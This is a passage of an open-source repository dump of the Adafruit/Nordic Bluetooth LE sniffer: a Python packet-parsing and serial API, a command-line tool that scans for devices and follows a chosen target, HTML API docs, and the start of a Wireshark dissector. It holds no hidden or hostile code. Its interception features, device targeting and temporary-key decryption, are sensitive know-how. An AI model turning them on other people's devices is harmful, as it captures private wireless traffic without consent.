noqa: E722 logging.exception("packet creation error") logging.info("packetList: " + str(packetList)) self.OK = False self.valid = False def __repr__(self): return "UART packet, type: "+str(self.id)+", PC: "+str(self.packetCounter) def readStaticHeader(self, packetList): self.headerLength = packetList[HEADER_LEN_POS] self.payloadLength = packetList[PAYLOAD_LEN_POS] self.protover = packetList[PROTOVER_POS] def readDynamicHeader(self, packetList): self.header = packetList[0:self.headerLength] if self.headerLength == HEADER_LENGTH: self.packetCounter = parseLittleEndian( packetList[PACKETCOUNTER_POS:PACKETCOUNTER_POS+2]) self.id = packetList[ID_POS] else: logging.info("incorrect header length: %d" % self.headerLength) def readPayload(self, packetList): self.blePacket = None self.OK = False if not self.validatePacketList(packetList): raise Exceptions.InvalidPacketException("packet list not valid: %s" % str(packetList)) else: self.valid = True self.payload = packetList[PAYLOAD_POS:PAYLOAD_POS+self.payloadLength] if self.id == EVENT_PACKET: try: self.bleHeaderLength = packetList[BLE_HEADER_LEN_POS] if self.bleHeaderLength == BLE_HEADER_LENGTH: self.flags = packetList[FLAGS_POS] self.readFlags() self.channel = packetList[CHANNEL_POS] self.rawRSSI = packetList[RSSI_POS] self.RSSI = -self.rawRSSI self.txAdd = packetList[TXADD_POS] & TXADD_MSK self.eventCounter = parseLittleEndian( packetList[EVENTCOUNTER_POS:EVENTCOUNTER_POS+2]) self.timestamp = parseLittleEndian(packetList[TIMESTAMP_POS:TIMESTAMP_POS+2]) # self.payload = packetList[13:(4+self.length)] # The hardware adds a padding byte which isn't sent on air. # The following removes it. self.packetList.pop(BLEPACKET_POS+6) self.payloadLength -= 1 if packetList[PAYLOAD_LEN_POS] > 0: packetList[PAYLOAD_LEN_POS] -= 1 if self.OK: try: self.blePacket = BlePacket(packetList[BLEPACKET_POS:]) except: # noqa: E722 logging.exception("blePacket error") except: # noqa: E722 # malformed packet logging.exception("packet error") self.OK = False elif self.id == PING_RESP: self.version = parseLittleEndian(self.packetList[PAYLOAD_POS:PAYLOAD_POS+2]) elif self.id == SWITCH_BAUD_RATE_RESP or self.id == SWITCH_BAUD_RATE_REQ: self.baud_rate = parseLittleEndian(packetList[PAYLOAD_POS:PAYLOAD_POS+4]) elif self.id == TEST_RESULT_ID: self.testId = packetList[PAYLOAD_POS] self.testLength = packetList[PAYLOAD_POS+1] self.testPayload = packetList[PAYLOAD_POS+2:] def readFlags(self): self.crcOK = not not (self.flags & 1) self.direction = not not (self.flags & 2) self.encrypted = not not (self.flags & 4) self.micOK = not not (self.flags & 8) self.OK = self.crcOK and (self.micOK or not self.encrypted) def getList(self): return self.packetList def validatePacketList(self, packetList): try: if (packetList[PAYLOAD_LEN_POS] + packetList[HEADER_LEN_POS]) == len(packetList): return True else: return False except: # noqa: E722 logging.exception("Invalid packet: %s" % str(packetList)) return False class BlePacket(): def __init__(self, packetList): self.extractAccessAddress(packetList) if self.accessAddress == ADV_ACCESS_ADDRESS: self.extractAdvType(packetList) self.extractAdvAddress(packetList) self.extractName(packetList) self.extractLength(packetList) self.payload = packetList[6:] def __repr__(self): return "BLE packet, AAddr: "+str(self.accessAddress) def extractAccessAddress(self, packetList): self.accessAddress = packetList[0:4] def extractAdvType(self, packetList): self.advType = (packetList[4] & 15) def extractAdvAddress(self, packetList): addr = None if (self.advType == 0 or self.advType == 1 or self.advType == 2 or self.advType == 4 or self.advType == 6): addrType = not not packetList[4] & 64 addr = packetList[6:12] addr.reverse() addr += [addrType] elif (self.advType == 3 or self.advType == 5): addrType = not not packetList[4] & 64 addr = packetList[12:18] addr.reverse() addr += [addrType] self.advAddress = addr def extractName(self, packetList): name = "" if (self.advType == 0 or self.advType == 2 or self.advType == 6): i = 12 while i < len(packetList): length = packetList[i] if (i+length+1) > len(packetList) or length == 0: break type = packetList[i+1] if type == 8 or type == 9: nameList = packetList[i+2:i+length+1] name = "" for j in nameList: name += chr(j) i += (length+1) name = '"'+name+'"' elif (self.advType == 1): name = "[ADV_DIRECT_IND]" self.name = name # .decode(encoding="UTF-8") def extractLength(self, packetList): length = packetList[5] self.length = length def parseLittleEndian(list): total = 0 for i in range(len(list)): total += (list[i] << (8*i)) return total def toLittleEndian(value, size): list = [0]*size for i in range(size): list[i] = (value >> (i*8)) % 256 return list ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Sniffer.py ================================================ from __future__ import absolute_import import sys import os import threading import logging from . import SnifferCollector from . import Logger, Version def initLog(): Logger.initLogger() logging.info("--------------------------------------------------------") logging.info("Software version: " + Version.getReadableVersionString(Version.getRevision())) initLog() class Sniffer(threading.Thread, SnifferCollector.SnifferCollector): # Sniffer constructor. portnum argument is optional. If not provided, # the software will try to locate the firwmare automatically (may take time). # NOTE: portnum is 0-indexed, while Windows names are 1-indexed def __init__(self, portnum=None): threading.Thread.__init__(self) SnifferCollector.SnifferCollector.__init__(self, portnum) self.daemon = True self.subscribe("COMPORT_FOUND", self.comPortFound) # API STARTS HERE # Get [number] number of packets since last fetch (-1 means all) # Note that the packet buffer is limited to about 80000 packets. # Returns: A list of Packet objects def getPackets(self, number=-1): return self._getPackets(number) # Get a list of devices which are advertising in range of the Sniffer. # Returns: A DeviceList object. def getDevices(self): return self._devices # Signal the Sniffer firmware to sniff a specific device. # "device" argument is of type Device # if "followOnlyAdvertisements" is True the sniffer will not follow the device into a connection. # noqa: E501 # Returns nothing def follow(self, device=None, followOnlyAdvertisements=False): self._startFollowing(device, followOnlyAdvertisements) # Signal the Sniffer to scan for advertising devices by sending the REQ_SCAN_CONT UART packet. # This will cause it to stop sniffing any device it is sniffing at the moment. # Returns nothing. def scan(self): self._startScanning() # Send a temporary key to the sniffer to use when decrypting encrypted communication. # Returns nothing. def sendTK(self, TK): self._packetReader.sendTK(TK) # Set the preset COM port number. Only use this during startup. Set to None to search all ports. # Returns nothing. def setPortnum(self, portnum): self._portnum = portnum self._packetReader.portnum = portnum # Set the order in which the sniffer cycles through adv channels when following a device. # hopSequence must be a list of length 1, 2, or 3, and each item must be either 37, 38, or 39. # The same channel cannot occur more than once in the list. # Returns nothing. def setAdvHopSequence(self, hopSequence): self._packetReader.sendHopSequence(hopSequence) # Gracefully shut down the sniffer threads and connections. # Returns nothing. def doExit(self): return self._doExit() # NOTE: Methods with decorator @property can be used as (read-only) properties # Example: mMissedPackets = sniffer.missedPackets # The number of missed packets over the UART, as determined by the packet counter in the header. @property def missedPackets(self): return self._missedPackets # The number of packets which were sniffed in the last BLE connection. # From CONNECT_REQ until link loss/termination. @property def packetsInLastConnection(self): return self._packetsInLastConnection # The packet counter value of the last received connect request. @property def connectEventPacketCounterValue(self): return self._connectEventPacketCounterValue # A Packet object containing the last received connect request. @property def currentConnectRequest(self): return self._currentConnectRequest # A boolean indicating whether the sniffed device is in a connection. @property def inConnection(self): return self._inConnection # The internal state of the sniffer. # States are defined in SnifferCollector module. Valid values are 0-2. @property def state(self): return self._state # The COM port of the sniffer hardware. During initialization, this value is a preset. @property def portnum(self): return self._portnum # The version number of the API software. @property def swversion(self): return self._swversion # The version number of the sniffer firmware. @property def fwversion(self): return self._fwversion # API ENDS HERE # Private method def run(self): try: self._setup() self.runSniffer() except (KeyboardInterrupt) as e: unused_exc_type, unused_exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] lineno = exc_tb.tb_lineno logging.info("exiting ("+str(type(e))+" in "+fname+" at "+str(lineno)+"): "+str(e)) self.goodExit = False except Exception as e: logging.exception("CRASH") self.goodExit = False else: self.goodExit = True # Private method def comPortFound(self, notification): # logging.info("Com port found") self._portnum = notification.msg["comPort"] self._boardId = self._makeBoardId() # self._packetReader.comport = self.portnum # Private method def runSniffer(self): if not self._exit: self._continuouslyPipe() else: self.goodExit = False # Private method def sendTestPacketToSniffer(self, payload): self._sendTestPacket(payload) # Private method def getTestPacketFromSniffer(self): return self._getTestPacket() ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/SnifferCollector.py ================================================ from __future__ import absolute_import from . import Packet, Exceptions, CaptureFiles, Devices, Notifications, Version import threading import logging import copy from serial import SerialException from six.moves import range REQ_FOLLOW = 0x00 EVENT_FOLLOW = 0x01 EVENT_DEVICE = 0x02 REQ_SINGLE_PACKET = 0x03 RESP_SINGLE_PACKET = 0x04 EVENT_CONNECT = 0x05 EVENT_PACKET = 0x06 REQ_SCAN_CONT = 0x07 RESP_SCAN_CONT = 0x08 EVENT_DISCONNECT = 0x09 EVENT_ERROR = 0x0A EVENT_EMPTY_DATA_PACKET = 0x0B SET_TEMPORARY_KEY = 0x0C PING_REQ = 0x0D PING_RESP = 0x0E TEST_COMMAND_ID = 0x0F UART_TEST_START = 0x11 UART_DUMMY_PACKET = 0x12 SWITCH_BAUD_RATE_REQ = 0x13 SWITCH_BAUD_RATE_RESP = 0x14 GO_IDLE = 0xFE STATE_INITIALIZING = 0 STATE_SCANNING = 1 STATE_FOLLOWING = 2 ADV_ACCESS_ADDRESS = [0xD6, 0xBE, 0x89, 0x8E] class SnifferCollector(Notifications.Notifier): def __init__(self, portnum=None, *args, **kwargs): Notifications.Notifier.__init__(self, *args, **kwargs) self._portnum = portnum self._swversion = Version.getRevision() self._fwversion = 0 self._setState(STATE_INITIALIZING) self._captureHandler = CaptureFiles.CaptureFileHandler() self._exit = False self._connectionAccessAddress = None self._packetListLock = threading.RLock() with self._packetListLock: self._packets = [] self._packetReader = Packet.PacketReader( self._portnum, callbacks=[("*", self.passOnNotification)]) self._devices = Devices.DeviceList( callbacks=[("*", self.passOnNotification)]) self._missedPackets = 0 self._packetsInLastConnection = None self._connectEventPacketCounterValue = None self._inConnection = False self._currentConnectRequest = None self._nProcessedPackets = 0 self._switchingBaudRate = False self._attemptedBaudRates = [] self._boardId = self._makeBoardId() def __del__(self): self._doExit() def _setup(self): self._packetReader.setup() if self._exit: return if self._packetReader.fwversion < self.swversion: self.notify("OLD_FW_VERSION", { "version": self._packetReader.fwversion}) self._fwversion = self._packetReader.fwversion self._startScanning() self._setState(STATE_SCANNING) def _makeBoardId(self): try: boardId = int(self._packetReader.uart.ser.name.split("COM")[1]) logging.info("board ID: %d" % boardId) except (IndexError, AttributeError): import random random.seed() boardId = random.randint(0, 255) logging.info("board ID (random): %d" % boardId) return boardId @property def state(self): return self._state def _setState(self, newState): self._state = newState self.notify("STATE_CHANGE", newState) def _switchBaudRate(self, newBaudRate): if newBaudRate in self._packetReader.uart.ser.BAUDRATES: self._packetReader.sendSwitchBaudRate(newBaudRate) self._switchingBaudRate = True self._proposedBaudRate = newBaudRate self._attemptedBaudRates.append(newBaudRate) def _processBLEPacket(self, packet): packet.boardId = self._boardId self._appendPacket(packet) self.notify("NEW_BLE_PACKET", {"packet": packet}) self._captureHandler.writePacket(packet) self._nProcessedPackets += 1 if packet.OK: try: if packet.blePacket.accessAddress == ADV_ACCESS_ADDRESS: if self.state == STATE_FOLLOWING and packet.blePacket.advType == 5: self._connectionAccessAddress = packet.blePacket.accessAddress if self.state == STATE_SCANNING: if (packet.blePacket.advType == 0 or packet.blePacket.advType == 1 or packet.blePacket.advType == 2 or packet.blePacket.advType == 4 or packet.blePacket.advType == 6 ) and (packet.blePacket.advAddress is not None ) and (packet.crcOK and not packet.direction): newDevice = Devices.Device( address=packet.blePacket.advAddress, name=packet.blePacket.name, RSSI=packet.RSSI, txAdd=packet.txAdd) self._devices.appendOrUpdate(newDevice) except Exception as e: logging.exception("packet processing error") self.notify("PACKET_PROCESSING_ERROR", {"errorString": str(e)}) def _continuouslyPipe(self): while not self._exit: try: packet = self._packetReader.getPacket(timeout=2) if not packet.valid: raise Exceptions.InvalidPacketException("") except Exceptions.SnifferTimeout as e: logging.info(str(e)) packet = None except (SerialException, ValueError): logging.exception("UART read error") logging.error("Lost contact with sniffer hardware.") self._doExit() except Exceptions.InvalidPacketException: # logging.error("Continuously pipe: Invalid packet, skipping.") pass else: if packet.id == EVENT_PACKET: self._processBLEPacket(packet) elif packet.id == EVENT_FOLLOW: # This packet has no value for the user. pass elif packet.id == EVENT_CONNECT: self._connectEventPacketCounterValue = packet.packetCounter self._inConnection = True # copy it because packets are eventually deleted self._currentConnectRequest = copy.copy(self._findPacketByPacketCounter( self._connectEventPacketCounterValue-1)) elif packet.id == EVENT_DISCONNECT: if self._inConnection: self._packetsInLastConnection = packet.packetCounter - \ self._connectEventPacketCounterValue self._inConnection = False elif packet.id == SWITCH_BAUD_RATE_RESP and self._switchingBaudRate: self._switchingBaudRate = False if (packet.baudRate == self._proposedBaudRate): self._packetReader.switchBaudRate( self._proposedBaudRate) else: self._switchBaudRate(packet.baudRate) def _findPacketByPacketCounter(self, packetCounterValue): with self._packetListLock: for i in range(-1, -1-len(self._packets), -1): # iterate backwards through packets if self._packets[i].packetCounter == packetCounterValue: return self._packets[i] return None def _startScanning(self): logging.info("starting scan") if self.state == STATE_FOLLOWING: logging.info("Stopped sniffing device") self._devices.clear() self._setState(STATE_SCANNING) self._packetReader.sendScan() self._packetReader.sendTK([0]) def _doExit(self): self._exit = True self.notify("APP_EXIT") self._packetReader.doExit() def _startFollowing(self, device, followOnlyAdvertisements=False): self._devices.setFollowed(device) logging.info("Sniffing device " + str(self._devices.index(device)) + ' - "'+device.name+'"') self._packetReader.sendFollow( device.address, device.txAdd, followOnlyAdvertisements) self._setState(STATE_FOLLOWING) def _appendPacket(self, packet): with self._packetListLock: if len(self._packets) > 100000: self._packets = self._packets[20000:] self._packets.append(packet) def _getPackets(self, number=-1): with self._packetListLock: returnList = self._packets[0:number] self._packets = self._packets[number:] return returnList def _sendTestPacket(self, payload): self._packetReader.sendTestPacket(payload) def _getTestPacket(self): return self._packetReader.getPacket() ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/UART.py ================================================ from __future__ import absolute_import import logging import serial import collections import serial.tools.list_ports as list_ports from . import Exceptions class Uart: def __init__(self, portnum=None, useByteQueue=False): self.ser = None try: self.ser = serial.Serial( port=portnum, baudrate=460800, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=None, # seconds writeTimeout=None, rtscts=True ) except Exception as e: if self.ser: self.ser.close() raise self.useByteQueue = useByteQueue self.byteQueue = collections.deque() # if self.ser.name != None: # print "UART %s on port %s" % ("open" if self.ser else "closed", self.ser.name) def __del__(self): if self.ser: logging.info("closing UART") self.ser.close() def switchBaudRate(self, newBaudRate): self.ser.baudrate = newBaudRate def read(self, length, timeout=None): if timeout != self.ser.timeout: try: self.ser.timeout = timeout except ValueError as e: logging.error("Error setting UART read timeout. Continuing.") value = self.ser.read(length) if len(value) != length: raise Exceptions.SnifferTimeout( "UART read timeout (" + str(self.ser.timeout) + " seconds).") if self.useByteQueue: self.byteQueue.extend(value) return value def readByte(self, timeout=None): readString = "" readString = self.read(1, timeout) return readString def readList(self, size, timeout=None): return self.read(size, timeout) def writeList(self, array, timeout=None): nBytes = 0 if timeout != self.ser.writeTimeout: try: self.ser.writeTimeout = timeout except ValueError as e: logging.error("Error setting UART write timeout. Continuing.") try: nBytes = self.ser.write(array) except: # noqa: E722 self.ser.close() raise return nBytes def list_serial_ports(): # Scan for available ports. return list_ports.comports() ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Version.py ================================================ from __future__ import absolute_import from . import myVersion pdfVersion = "1.2" def getRevision(): return myVersion.version def getVersionString(mRevision=getRevision()): # prevRev = 0 # if mRevision == 0: # return "0.0.0" # for rev in versions: # if rev > int(mRevision): # return versions[prevRev] # prevRev = rev # return versions[prevRev] return myVersion.versionString + myVersion.versionNameAppendix def getPureVersionString(mRevision=getRevision()): return myVersion.versionString def getUserGuideFileName(version=pdfVersion, platformName="win", deliverableName="ble-sniffer", itemName="User Guide.pdf"): return str(deliverableName) + "_" + str(platformName) + "_" + str(version) + "_" + str(itemName) def getReadableVersionString(mRevision=getRevision()): return "SVN rev. "+str(mRevision) if mRevision else "version information unavailable" def getFileNameVersionString(mRevision=getRevision(), itemName="", platformName="win", deliverableName="ble-sniffer"): ver = getVersionString(mRevision) if itemName != "": return str(deliverableName)+"_"+str(platformName)+"_"+str(ver)+"_"+str(itemName) else: return str(deliverableName)+"_"+str(platformName)+"_"+str(ver) ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/__init__.py ================================================ ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/myVersion.py ================================================ version = 1111 versionString = "1.0.1" versionNameAppendix = "_1111" ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/__init__.py ================================================ ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/documentation.html ================================================

Sniffer

The entry point for the API.
Field Type Description
missedPackets int The number of missed packets over the UART, as determined by the packet counter in the header. Derived using the packetCounter field.
packetsInLastConnection int The number of packets which were sniffed in the last BLE connection. From CONNECT_REQ until link loss/termination.
connectEventPacketCounterValue int The packet counter value of the last received connect request.
inConnection bool A boolean indicating whether the sniffed device is in a connection.
currentConnectRequest Packet A Packet object containing the last received connect request.
state int The internal state of the sniffer. States are defined in SnifferCollector module. Valid values are 0-2.
portnum int or string The COM port of the sniffer hardware. During initialization, this value is a preset.
swversion int The version number of the API software.
fwversion int The version number of the sniffer firmware.
Function Type Description
__init__(portnum) Sniffer Constructor for the Sniffer class. The optional argument "portnum" is a string with the name of the port the sniffer board is at, e.g. "COM17". If not provided, the API will locate it automatically, but this takes more time.
start() void Starts the Sniffer thread. This call must be made (once and only once) before using the sniffer object.
getPackets(number) List<Packet> Get [number] number of packets since last fetch (-1 means all). Note that the packet buffer is limited to about 80000 packets.
getDevices() DeviceList Get a list of devices which are advertising in range of the Sniffer.
follow(device, followOnlyAdvertisements) void Signal the Sniffer firmware to sniff a specific device. If followOnlyAdvertisements is True, the sniffer will not sniff a connection, only advertisements from the followed device.
scan() void Signal the Sniffer to scan for advertising devices by sending the REQ_SCAN_CONT UART packet. This will cause it to stop sniffing any device it is sniffing at the moment.
sendTK(TK) void Send a temporary key to the sniffer for use when decrypting encrypted connections. TK is a list of 16 ints, each representing a byte in the temporary key. TK is on big-endian form.
setPortnum(portnum) void Set the preset COM port number. Only use this during startup. Set to None to search all ports.
doExit() void Gracefully shut down the sniffer threads and connections.

Device

Class representing a BLE device from which the sniffer has picked up data.
Field Type Description
address List< int > A list representing the device address of this device: [int, int, int, int, int, int]
txAdd bool A boolean representing whether the device address is public (False) or random (True).
name string A string containing the name (short or complete) of the device.
RSSI int An int representing the approximate RSSI value of packets received from this device.

DeviceList

A class representing a list of devices. Used to simplify extraction of devices using BLE metadata.
Function Type Description
find(id) Device Find a device in this DeviceList using either name or address. Returns None if no device is found.
remove(id) Device Remove a device from this DeviceList. Argument "id" has same format as in find.
append(Device) void Append a Device to the device list.
index(Device) int Returns the index of the provided Device.
getList() List<Device> Returns a list of the Devices in this DeviceList.











Packet

Represents the UART packet sent by the sniffer to the host.
Field Type Description
headerLength int The length of the UART header. UART header
payloadLength int The length of the UART payload.
protover int The UART protocol version used.
packetCounter int Unique (16 bit) packet identifier which increments for each packet sent by the sniffer.
id int Identifier telling what type of packet this is. See UART protocol document.
bleHeaderLength int Length of the NRF_BLE_PACKET header. NRF_BLE_PACKET header
crcOK bool Was the CRC received by the sniffer OK.
micOK bool Is the message integriy check OK. Only relevant in encrypted state.
direction bool Only relevant during connection. True -> Master to Slave, False -> Slave to Master
encrypted bool has the packet been encrypted.
channel int Which channel was the packet picked up from [0 - 39]
RSSI int The RSSI value reported by the sniffer. NOT PRECISE. Real value is the negative of this value.
eventCounter int The eventcounter of the packet in the connection. Only relevant for packets in a connection.
timestamp int Microseconds from the end of the last packet to the start of this one.
blePacket BlePacket The blePacket contained within this packet. Other
packetList List< int > The entire UART packet as sent by the sniffer (with the exception of a padding byte which is removed).
OK bool Is the error detection of the attached BLE packet OK?
payload List< int > List containing the UART payload as bytes.
txADD bool Is the address public or random? True -> Random, False -> Public. Only relevant for advertisement packets.
version int The firmware version of the sniffer. Only sent in PING_RESP packets.

BlePacket

Represents the BLE packet received over the air by the sniffer.
Field Type Description
accessAddress List< int > A list of bytes representing the access for this packet.
advType int The advertisement type field.
advAddress List< int > The advertising address.
name string The value of the localname property of the ble packet.
payload List< int > The entire BLE payload (not including access address and header fields).
length int The value of the length field of the BLE PDU

Exceptions

The exceptions raised by the API.
Exception Description
SnifferTimeout UART read time out.
UARTPacketError UART SLIP parsing error.
InvalidPacketException Other UART parsing error.
================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/requirements.txt ================================================ six>=1.11.0 pyserial>=3.4 ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/setup.cfg ================================================ [flake8] max-line-length=100 ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/sniffer.py ================================================ from __future__ import absolute_import from __future__ import print_function from six.moves import input from protocols.BLE.Adafruit_BLESniffer.SnifferAPI import CaptureFiles, Sniffer from protocols.BLE.Adafruit_BLESniffer.SnifferAPI.Devices import Device __author__ = "ktown" __copyright__ = "Copyright Adafruit Industries 2014 (adafruit.com)" __license__ = "MIT" __version__ = "0.1.0" import os import sys import time import argparse mySniffer = None """@type: SnifferAPI.Sniffer.Sniffer""" def setup(serport, delay=6): """ Tries to connect to and initialize the sniffer using the specific serial port @param serport: The name of the serial port to connect to ("COM14", "/dev/tty.usbmodem1412311", etc.) @type serport: str @param delay: Time to wait for the UART connection to be established (in seconds) @param delay: int """ global mySniffer # Initialize the device on the specified serial port print("Connecting to sniffer on " + serport) mySniffer = Sniffer.Sniffer(serport) # Start the sniffer mySniffer.start() # Wait a bit for the connection to initialise time.sleep(delay) def scanForDevices(scantime=5): """ @param scantime: The time (in seconds) to scan for BLE devices in range @type scantime: float @return: A DeviceList of any devices found during the scanning process @rtype: DeviceList """ if args.verbose: print("Starting BLE device scan ({0} seconds)".format(str(scantime))) mySniffer.scan() time.sleep(scantime) devs = mySniffer.getDevices() return devs def selectDevice(devlist): """ Attempts to select a specific Device from the supplied DeviceList @param devlist: The full DeviceList that will be used to select a target Device from @type devlist: DeviceList @return: A Device object if a selection was made, otherwise None @rtype: Device """ count = 0 if len(devlist): print("Found {0} BLE devices:\n".format(str(len(devlist)))) # Display a list of devices, sorting them by index number for d in devlist.asList(): """@type : Device""" count += 1 print(" [{0}] {1} ({2}:{3}:{4}:{5}:{6}:{7}, RSSI = {8})".format(count, d.name, "%02X" % d.address[0], "%02X" % d.address[1], "%02X" % d.address[2], "%02X" % d.address[3], "%02X" % d.address[4], "%02X" % d.address[5], d.RSSI)) try: i = int(input("\nSelect a device to sniff, or '0' to scan again\n> ")) except KeyboardInterrupt: raise KeyboardInterrupt return None except: return None # Select a device or scan again, depending on the input if (i > 0) and (i <= count): # Select the indicated device return devlist.find(i - 1) else: # This will start a new scan return None def dumpPackets(): """Dumps incoming packets to the display""" # Get (pop) unprocessed BLE packets. packets = mySniffer.getPackets() # Display the packets on the screen in verbose mode if args.verbose: for packet in packets: if packet.blePacket is not None: # Display the raw BLE packet payload # Note: 'BlePacket' is nested inside the higher level 'Packet' wrapper class print(packet.blePacket.payload) else: print(packet) else: print('.' * len(packets)) if __name__ == '__main__': """Main program execution point""" # Instantiate the command line argument parser argparser = argparse.ArgumentParser( description="Interacts with the Bluefruit LE Friend Sniffer firmware") # Add the individual arguments # Mandatory arguments: argparser.add_argument("serialport", help="serial port location ('COM14', '/dev/tty.usbserial-DN009WNO', etc.)") # Optional arguments: argparser.add_argument("-l", "--logfile", dest="logfile", default=CaptureFiles.captureFilePath, help="log packets to file, default: " + CaptureFiles.captureFilePath) argparser.add_argument("-t", "--target", dest="target", help="target device address") argparser.add_argument("-r", "--random_txaddr", dest="txaddr", action="store_true", default=False, help="Target device is using random address") argparser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="verbose mode (all serial traffic is displayed)") # Parser the arguments passed in from the command-line args = argparser.parse_args() # Display the libpcap logfile location print("Capturing data to " + args.logfile) CaptureFiles.captureFilePath = args.logfile # Try to open the serial port try: setup(args.serialport) except OSError: # pySerial returns an OSError if an invalid port is supplied print("Unable to open serial port '" + args.serialport + "'") sys.exit(-1) except KeyboardInterrupt: sys.exit(-1) # Optionally display some information about the sniffer if args.verbose: print("Sniffer Firmware Version: " + str(mySniffer.swversion)) # Scan for devices in range until the user makes a selection try: d = None """@type: Device""" if args.target: print("specified target device", args.target) _mac = [int(x, 16) for x in args.target.split(':')] if len(_mac) != 6: raise ValueError("Invalid device address") # -72 seems reasonable for a target device right next to the sniffer d = Device(_mac, name="NoDeviceName", RSSI=-72, txAdd=args.txaddr) # loop will be skipped if a target device is specified on commandline while d is None: print("Scanning for BLE devices (5s) ...") devlist = scanForDevices() if len(devlist): # Select a device d = selectDevice(devlist) # Start sniffing the selected device print("Attempting to follow device {0}:{1}:{2}:{3}:{4}:{5}".format("%02X" % d.address[0], "%02X" % d.address[1], "%02X" % d.address[2], "%02X" % d.address[3], "%02X" % d.address[4], "%02X" % d.address[5])) # Make sure we actually followed the selected device (i.e. it's still available, etc.) if d is not None: mySniffer.follow(d) else: print("ERROR: Could not find the selected device") # Dump packets while True: dumpPackets() time.sleep(1) # Close gracefully mySniffer.doExit() sys.exit() except (KeyboardInterrupt, ValueError, IndexError) as e: # Close gracefully on CTRL+C if 'KeyboardInterrupt' not in str(type(e)): print("Caught exception:", e) mySniffer.doExit() sys.exit(-1) ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/sniffer_uart_protocol.xlsx ================================================ ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/OSX/readme.md ================================================ This file should be place in the ~/.wireshark/plugins folder on your OS X development machine, so `~/.wireshark/plugins/nordic_btle.so`. This plugin should add the following protocol decoder option: ![screen shot 2015-03-22 at 13 54 45](https://cloud.githubusercontent.com/assets/181073/6769467/293957a6-d09d-11e4-9878-631cb65d42f9.png) Compiled File taken from [nrf-ble-sniffer-osx](http://sourceforge.net/projects/nrfblesnifferosx/), based on the source code one level higher in this repo. ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/packet-btle.c ================================================ /* packet-btle.c * Routines for Bluetooth Low Energy dissection * Copyright 2013, Mike Ryan, mikeryan /at/ isecpartners /dot/ com * Copyright 2014, Nordic Semiconductor ASA * * Wireshark - Network traffic analyzer * By Gerald Combs * Copyright 1998 Gerald Combs * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #ifdef HAVE_CONFIG_H # include "config.h" #endif // #include /* needed for epan/gcc-4.x */ #include #include #include #include #include /* LL control opcodes */ #define LL_CONNECTION_UPDATE_REQ 0x00 #define LL_CHANNEL_MAP_REQ 0x01 #define LL_TERMINATE_IND 0x02 #define LL_ENC_REQ 0x03 #define LL_ENC_RSP 0x04 #define LL_START_ENC_REQ 0x05 #define LL_START_ENC_RSP 0x06 #define LL_UNKNOWN_RSP 0x07 #define LL_FEATURE_REQ 0x08 #define LL_FEATURE_RSP 0x09 #define LL_PAUSE_ENC_REQ 0x0A #define LL_PAUSE_ENC_RSP 0x0B #define LL_VERSION_IND 0x0C #define LL_REJECT_IND 0x0D /* function prototypes */ void proto_reg_handoff_btle(void); /* initialize the protocol and registered fields */ static int proto_btle = -1; static int hf_btle_pkthdr = -1; static int hf_btle_aa = -1; static int hf_btle_type = -1; static int hf_btle_randomized_tx = -1; static int hf_btle_randomized_rx = -1; static int hf_btle_length = -1; static int hf_btle_adv_addr = -1; static int hf_btle_adv_data = -1; static int hf_btle_init_addr = -1; static int hf_btle_scan_addr = -1; static int hf_btle_scan_rsp_data = -1; static int hf_btle_connect = -1; static int hf_btle_connect_aa = -1; static int hf_btle_crc_init = -1; static int hf_btle_win_size = -1; static int hf_btle_win_offset = -1; static int hf_btle_interval = -1; static int hf_btle_min_interval = -1; static int hf_btle_max_interval = -1; static int hf_btle_latency = -1; static int hf_btle_timeout = -1; static int hf_btle_hop_interval = -1; static int hf_btle_sleep_clock_accuracy = -1; static int hf_btle_data = -1; static int hf_btle_data_llid = -1; static int hf_btle_data_nesn = -1; static int hf_btle_data_sn = -1; static int hf_btle_data_md = -1; static int hf_btle_data_rfu = -1; static int hf_btle_ll_control = -1; static int hf_btle_ll_control_opcode = -1; static int hf_btle_ll_control_data = -1; static int hf_btle_ll_control_ll_enc_req = -1; static int hf_btle_ll_control_ll_enc_req_rand = -1; static int hf_btle_ll_control_ll_enc_req_ediv = -1; static int hf_btle_ll_control_ll_enc_req_skdm = -1; static int hf_btle_ll_control_ll_enc_req_ivm = -1; static int hf_btle_ll_control_ll_enc_rsp = -1; static int hf_btle_ll_control_ll_enc_rsp_skds = -1; static int hf_btle_ll_control_ll_enc_rsp_ivs = -1; static int hf_btle_crc = -1; static int hf_btle_instant = -1; static int hf_btle_channel_map = -1; static int hf_btle_enabled_channels = -1; static int hf_btle_error_code = -1; static int hf_btle_unknown_type = -1; static int hf_btle_feature_set = -1; static int hf_btle_supported_feature = -1; static int hf_btle_unsupported_feature = -1; static int hf_btle_bt_version = -1; static int hf_btle_company_id = -1; static int hf_btle_sub_version_num = -1; static int hf_btle_adv_data_attr = -1; static int hf_btle_adv_data_attr_type = -1; static int hf_btle_adv_data_attr_length = -1; static int hf_btle_adv_data_attr_value = -1; static int hf_btle_adv_data_attr_value_string = -1; // #if 0 // static int 